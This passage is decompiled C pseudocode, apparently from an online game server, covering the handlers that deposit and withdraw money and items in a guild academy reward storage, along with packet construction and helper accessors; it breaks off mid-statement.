GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendWithdraw2Member( &gldacademyrewardstoramanager, &tempring); v23 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck"; } else { v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v21 + 32))(v21, *(_WORD *)(withdraw + 6)); *(_WORD *)gpp.pp_Buffer = 12336; *(_WORD *)(withdraw + 16) = 6120; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v22 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v22 + 12))(v22, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck : Packet Too Long", 12); } v23 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck"; } --funcallanalizer.fca_stackpoint; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v23); __security_check_cookie(v27); } //----- (0044EE60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck(void *this, int deposit) { void *v2; // edi@1 int v3; // edx@1 int v4; // eax@2 unsigned __int16 *v5; // eax@6 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v6; // eax@6 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v7; // esi@6 int v8; // eax@8 int v9; // ST04_4@9 DebugLogging *v10; // eax@9 DebugLogging *v11; // eax@9 unsigned __int64 v12; // qax@10 unsigned int v13; // esi@10 unsigned int v14; // ebx@10 unsigned __int64 v15; // kr00_8@10 char *v16; // eax@10 int v17; // eax@12 char *v18; // eax@13 int v19; // esi@13 int v20; // eax@13 int v21; // eax@14 int v22; // eax@16 char *v23; // [sp+0h] [bp-64h]@13 unsigned int nGuildNo; // [sp+14h] [bp-50h]@0 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *storage; // [sp+18h] [bp-4Ch]@6 PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_RNG tempring; // [sp+20h] [bp-44h]@13 unsigned int v27; // [sp+54h] [bp-10h]@18 int v28; // [sp+60h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v28 = 0; if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(v3 + 2044))(v2) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1980))(v2); LABEL_5: nGuildNo = v4; goto LABEL_6; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2044))(v2) == 1 ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2048))(v2); goto LABEL_5; } LABEL_6: v5 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2016))(v2); v6 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, nGuildNo, v5); v7 = v6; storage = v6; if ( *(_WORD *)(deposit + 16) == 6560 && v6 ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v8 + 24))( v8, v2, *(_WORD *)(deposit + 6), 0) ) { v9 = *(_WORD *)(deposit + 6); v10 = DebugLogging::operator<<( &LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck : "); v11 = DebugLogging::operator<<(v10, v9); DebugLogging::operator<<(v11, &deb_LF); } v12 = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(v7); v13 = v12; LODWORD(v12) = *(_DWORD *)(deposit + 8); v14 = HIDWORD(v12); HIDWORD(v12) = *(_DWORD *)(deposit + 12); v15 = v12 + __PAIR__(v14, v13); GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetMoney(storage, v12 + __PAIR__(v14, v13)); v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12338; *(_QWORD *)(v16 + 2) = v15; *((_WORD *)v16 + 5) = *(_WORD *)(deposit + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v17 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v17 + 12))(v17, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck : Packet Too Long", 12); } v18 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -26508; v19 = (int)(v18 + 2); v18[2] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v19 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v19 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v19 + 7) = nGuildNo; *(_BYTE *)(v19 + 11) = 1; *(_BYTE *)(v19 + 12) = 0; *(_BYTE *)(v19 + 13) = 2; *(_DWORD *)(v19 + 33) = *(_DWORD *)(deposit + 8); *(_DWORD *)(v19 + 37) = *(_DWORD *)(deposit + 12); *(_QWORD *)(v19 + 41) = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(storage); v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); *(_DWORD *)(v19 + 15) = *(_DWORD *)v20; *(_DWORD *)(v19 + 19) = *(_DWORD *)(v20 + 4); *(_DWORD *)(v19 + 23) = *(_DWORD *)(v20 + 8); *(_DWORD *)(v19 + 27) = *(_DWORD *)(v20 + 12); *(_WORD *)(v19 + 31) = -1; *(_BYTE *)(v19 + 14) = 0; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 51); memcpy(&tempring, (const void *)v19, 0x30u); BYTE7(tempring.storage_cen) = *(_BYTE *)(v19 + 48); GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_SendDeposit2Member( &gldacademyrewardstoramanager, &tempring); v23 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck"; } else { v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v21 + 32))(v21, *(_WORD *)(deposit + 6)); *(_WORD *)gpp.pp_Buffer = 12338; *(_WORD *)(deposit + 16) = 6120; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v22 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v22 + 12))(v22, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageWithdrawAck : Packet Too Long", 12); } v23 = "ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageDepositAck"; } --funcallanalizer.fca_stackpoint; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v23); __security_check_cookie(v27); } //----- (0044F150) -------------------------------------------------------- #error "44F150: undefined or illegal type '#434' (funcsize=92)" //----- (0044F2A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ(void *this, unsigned int netcmd, int nGuildNo, __int16 handle) { void *v4; // esi@1 bool v5; // zf@1 char *v6; // edi@1 int v7; // eax@9 unsigned int v8; // ebx@11 int v9; // eax@12 unsigned __int16 *v10; // eax@16 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v11; // ebp@16 int v12; // eax@22 char v13; // al@29 int v14; // eax@30 int v15; // edi@31 int v16; // ebp@31 int v17; // eax@31 int v18; // eax@31 char *v19; // edi@31 __int16 v20; // ax@31 int v21; // eax@31 char v22; // al@31 ZoneBaseSession *v23; // eax@32 InventoryLocking::InventoryCellLock *v24; // eax@33 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v26; // [sp+1Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S4_4 & 1) == 0; v6 = gpp.pp_Buffer; v26 = 0; *(_WORD *)gpp.pp_Buffer = 12336; if ( v5 ) { _S4_4 |= 1u; cmc_36.cmc_AllowMode = 70; atexit(_E5_20); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_36.cmc_AllowMode) ) { *((_WORD *)v6 + 5) = 6114; LABEL_5: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ"); return; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14434) + 16))((char *)v4 + 57736) ) { *((_WORD *)v6 + 5) = 6113; goto LABEL_5; } v8 = netcmd; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2044))(v4) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2044))(v4) != 1 ) goto LABEL_16; v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2048))(v4); } else { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4); } netcmd = v9; LABEL_16: v10 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2016))(v4); v11 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, netcmd, v10); if ( !v11 ) { *((_WORD *)v6 + 5) = 6115; LABEL_18: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v12 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v12 + 12))(v12, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12); } --funcallanalizer.fca_stackpoint; v26 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ"); return; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2072))(v4) ) { *((_WORD *)v6 + 5) = 6117; goto LABEL_18; } if ( *(_DWORD *)(v8 + 6) || *(_DWORD *)(v8 + 2) ) { if ( *(_QWORD *)(v8 + 2) > GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(v11) ) *(_QWORD *)(v8 + 2) = GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(v11); if ( *(_QWORD *)(v8 + 2) ) { v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); v16 = *(_DWORD *)v15; v17 = (*(int (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 1916))( v4, *(_DWORD *)(v8 + 2), *(_DWORD *)(v8 + 6), 1); LOWORD(v18) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v17); (*(void (__thiscall **)(int, int))(v16 + 56))(v15, v18); v19 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13445; *((_DWORD *)v19 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v20 = *((_WORD *)v4 + 2); *(_DWORD *)(v19 + 10) = netcmd; *((_WORD *)v19 + 1) = v20; *(_DWORD *)(v19 + 14) = *(_DWORD *)(v8 + 2); *(_DWORD *)(v19 + 18) = *(_DWORD *)(v8 + 6); v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); *((_WORD *)v19 + 4) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v21); v22 = ProtocolPacket::pp_SetPacketLen(&gpp, 22); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v22, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ : Packet Too Long", 22) ) { v23 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v23); } v24 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); InventoryLocking::InventoryCellLock::icl_IncIndex(v24); } else { *((_WORD *)v6 + 5) = 6116; v13 = ProtocolPacket::pp_SetPacketLen(&gpp, 12); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v13, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12) ) { v14 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v14 + 12))(v14, v4, &gpp); } } } v26 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (0044F630) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ(void *this, unsigned int netcmd, int nGuildNo, __int16 handle) { void *v4; // esi@1 bool v5; // zf@1 char *v6; // edi@1 int v7; // eax@9 unsigned int v8; // ebx@10 int v9; // eax@11 unsigned __int16 *v10; // eax@15 unsigned __int64 v11; // qax@19 int v12; // edx@20 int v13; // eax@23 int v14; // edi@24 int v15; // eax@24 int v16; // eax@24 char *v17; // edi@24 int v18; // eax@24 ZoneBaseSession *v19; // eax@26 InventoryLocking::InventoryCellLock *v20; // eax@27 char *v21; // [sp-Ch] [bp-28h]@6 int v22; // [sp+14h] [bp-8h]@0 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S6_62 & 1) == 0; v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12338; if ( v5 ) { _S6_62 |= 1u; cmc_37.cmc_AllowMode = 70; atexit(_E7_38); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_37.cmc_AllowMode) ) { *((_WORD *)v6 + 5) = 6562; goto LABEL_5; } if ( !(unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14434) + 16))((char *)v4 + 57736) ) { v8 = netcmd; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2044))(v4) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2044))(v4) != 1 ) goto LABEL_15; v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2048))(v4); } else { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4); } netcmd = v9; LABEL_15: v10 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2016))(v4); if ( GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, netcmd, v10) ) { LODWORD(v11) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1056))(v4); if ( *(_QWORD *)(v8 + 2) > v11 ) { *(_DWORD *)(v8 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1056))(v4); *(_DWORD *)(v8 + 6) = v12; } if ( *(_QWORD *)(v8 + 2) ) { v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); v15 = (*(int (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 1916))( v4, *(_DWORD *)(v8 + 2), *(_DWORD *)(v8 + 6), -1); LOWORD(v16) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v15); (*(void (__thiscall **)(int, int))(v22 + 56))(v14, v16); v17 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13447; *((_DWORD *)v17 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v17 + 1) = *((_WORD *)v4 + 2); *(_DWORD *)(v17 + 10) = netcmd; *(_DWORD *)(v17 + 14) = *(_DWORD *)(v8 + 2); *(_DWORD *)(v17 + 18) = *(_DWORD *)(v8 + 6); v18 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); *((_WORD *)v17 + 4) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v18); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 22) ) { v19 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v19); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ : Packet Too Long", 22); } v20 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); InventoryLocking::InventoryCellLock::icl_IncIndex(v20); goto LABEL_28; } *((_WORD *)v6 + 5) = 6564; } else { *((_WORD *)v6 + 5) = 6563; } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v13 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ : Packet Too Long", 12); } LABEL_28: v21 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ"; goto LABEL_29; } *((_WORD *)v6 + 5) = 6561; LABEL_5: if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); v21 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ"; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ : Packet Too Long", 12); v21 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_ACADEMY_REWARD_STORAGE_DEPOSIT_REQ"; } LABEL_29: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); } //----- (0044F930) -------------------------------------------------------- int __thiscall Name4::operator__(Name4 *this, Name4 *nm) { return *(_DWORD *)&this->n4_name[0] != *(_DWORD *)&nm->n4_name[0] || *(_DWORD *)&this->n4_name[4] != *(_DWORD *)&nm->n4_name[4] || *(_DWORD *)&this->n4_name[8] != *(_DWORD *)&nm->n4_name[8] || *(_DWORD *)&this->n4_name[12] != *(_DWORD *)&nm->n4_name[12]; } //----- (0044F960) -------------------------------------------------------- unsigned int __thiscall ItemInventoryCell::iic_ItemLot(ItemInventoryCell *this) { return ((int (__stdcall *)(_DWORD))this->iic_AttrProc->vfptr->iac_GetLot)(&this->iic_Item.iti_itemstruct); } //----- (0044F970) -------------------------------------------------------- void __thiscall ItemInventoryCell::iic_ItemLot(ItemInventoryCell *this, unsigned int lot) { ((void (__stdcall *)(_DWORD, _DWORD))this->iic_AttrProc->vfptr->iac_SetLot)(&this->iic_Item.iti_itemstruct, lot); } //----- (0044F990) -------------------------------------------------------- char __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCheck(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned int guild) { return this->garse_Guild == guild; } //----- (0044F9A0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::GuildAcademyRewardStorageElement(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v1; // esi@1 v1 = this; ItemGuildAcademyRewardStorage::ItemGuildAcademyRewardStorage(&this->garse_Storage); v1->garse_Guild = 0; } //----- (0044F9C0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::GuildAcademyRewardStorageElement(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned int gld) { GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v2; // esi@1 v2 = this; ItemGuildAcademyRewardStorage::ItemGuildAcademyRewardStorage(&this->garse_Storage); v2->garse_Guild = gld; } //----- (0044F9F0) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_Deactivate(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this) { this->garse_Activate = 0; } //----- (0044FA00) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetActivate(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this) { this->garse_Activate = 1; } //----- (0044FA10) -------------------------------------------------------- int __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCompare(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, List *lst, unsigned __int16 hnd, GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *key) { return key->garse_Guild - this->garse_Guild; } //----- (0044FA30) -------------------------------------------------------- #error "44FA30: undefined or illegal type '#434' (funcsize=76)" //----- (0044FB10) -------------------------------------------------------- unsigned __int64 __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GetMoney(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this) { return this->garse_Cen; } //----- (0044FB20) -------------------------------------------------------- void __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SetMoney(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, unsigned __int64 set_cen) { this->garse_Cen = set_cen; } //----- (0044FB40) -------------------------------------------------------- int __thiscall PROTO_NC_GUILD_ACADEMY_REWARD_STORAGE_WITHDRAW_RNG::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_BYTE *)(this + 11) = *(_BYTE *)(a2 + 11); *(_BYTE *)(this + 12) = *(_BYTE *)(a2 + 12); *(_BYTE *)(this + 13) = *(_BYTE *)(a2 + 13); *(_BYTE *)(this + 14) = *(_BYTE *)(a2 + 14); *(_DWORD *)(this + 15) = *(_DWORD *)(a2 + 15); *(_DWORD *)(this + 19) = *(_DWORD *)(a2 + 19); *(_DWORD *)(this + 23) = *(_DWORD *)(a2 + 23); *(_DWORD *)(this + 27) = *(_DWORD *)(a2 + 27); *(_WORD *)(this + 31) = *(_WORD *)(a2 + 31); *(_DWORD *)(this + 33) = *(_DWORD *)(a2 + 33); *(_DWORD *)(this + 37) = *(_DWORD *)(a2 + 37); *(_DWORD *)(this + 33) = *(_DWORD *)(a2 + 33); *(_DWORD *)(this + 37) = *(_DWORD *)(a2 + 37); *(_DWORD *)(this + 41) = *(_DWORD *)(a2 + 41); *(_DWORD *)(this + 45) = *(_DWORD *)(a2 + 45); return result; } //----- (0044FBD0) -------------------------------------------------------- char __thiscall GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_SlotInfoCheck(GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *this, SHINE_INVEN_SLOT_INFO slotinfo) { int v2; // eax@1 char result; // al@2 v2 = ((int (__stdcall *)(_DWORD))this->garse_Storage.baseclass_0.vfptr->ib_GetInventoryCell)(slotinfo.inven.Inven & 0x3FF); if ( v2 && *(_QWORD *)&slotinfo == *(_QWORD *)v2 && *(_WORD *)(v2 + 8) == slotinfo.ItemID ) result = (*(int (__thiscall **)(_DWORD, _DWORD))(**(_DWORD **)(v2 + 112) + 24))(*(_DWORD *)(v2 + 112), v2 + 8) == slotinfo.Lot; else result = 0; return result; } //----- (0044FC20) -------------------------------------------------------- int __thiscall PROTO_NC_GUILD_ACADEMY_REWARDSTORAGE_ITEM_INFO_ZONE_RNG::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); *(_BYTE *)(this + 6) = *(_BYTE *)(a2 + 6); *(_DWORD *)(this + 7) = *(_DWORD *)(a2 + 7); *(_BYTE *)(this + 11) = *(_BYTE *)(a2 + 11); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_BYTE *)(this + 28) = *(_BYTE *)(a2 + 28); *(_DWORD *)(this + 29) = *(_DWORD *)(a2 + 29); *(_DWORD *)(this + 33) = *(_DWORD *)(a2 + 33); *(_DWORD *)(this + 37) = *(_DWORD *)(a2 + 37); *(_DWORD *)(this + 41) = *(_DWORD *)(a2 + 41); *(_DWORD *)(this + 45) = *(_DWORD *)(a2 + 45); *(_DWORD *)(this + 49) = *(_DWORD *)(a2 + 49); *(_DWORD *)(this + 53) = *(_DWORD *)(a2 + 53); *(_DWORD *)(this + 57) = *(_DWORD *)(a2 + 57); memcpy((void *)(this + 61), (const void *)(a2 + 61), 0x6Fu); return result; } //----- (0044FCC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewordSrorageItemInfoCmd(void *this, int iteminfo, char type) { void *v3; // esi@1 char v4; // dl@3 char v5; // cl@3 int v6; // edx@3 int v7; // ecx@3 int v8; // edx@3 int v9; // ecx@3 int v10; // edx@3 int v11; // ecx@3 int v12; // edx@3 int v13; // eax@3 int v14; // eax@5 char v15; // cl@7 char v16; // dl@7 int v17; // ecx@7 int v18; // edx@7 int v19; // ecx@7 int v20; // edx@7 int v21; // ecx@7 int v22; // edx@7 int v23; // ecx@7 int v24; // edx@7 ProtocolPacket DepositPacket; // [sp+4h] [bp-58h]@3 char DepositPacketBuffer[69]; // [sp+10h] [bp-4Ch]@3 v3 = this; if ( iteminfo ) { if ( type ) { if ( type != 1 ) return; *(_WORD *)DepositPacketBuffer = *(_WORD *)DepositPacketBuffer & 0x3FF | 0x9800; v15 = *(_BYTE *)iteminfo; DepositPacket.pp_Buffer = DepositPacketBuffer; *(_WORD *)DepositPacketBuffer = *(_WORD *)DepositPacketBuffer & 0xFC75 | 0x75; v16 = *(_BYTE *)(iteminfo + 1); DepositPacketBuffer[2] = v15; v17 = *(_DWORD *)(iteminfo + 2); DepositPacketBuffer[3] = v16; v18 = *(_DWORD *)(iteminfo + 6); *(_DWORD *)&DepositPacketBuffer[4] = v17; v19 = *(_DWORD *)(iteminfo + 10); *(_DWORD *)&DepositPacketBuffer[8] = v18; v20 = *(_DWORD *)(iteminfo + 14); *(_DWORD *)&DepositPacketBuffer[12] = v19; LOWORD(v19) = *(_WORD *)(iteminfo + 18); *(_DWORD 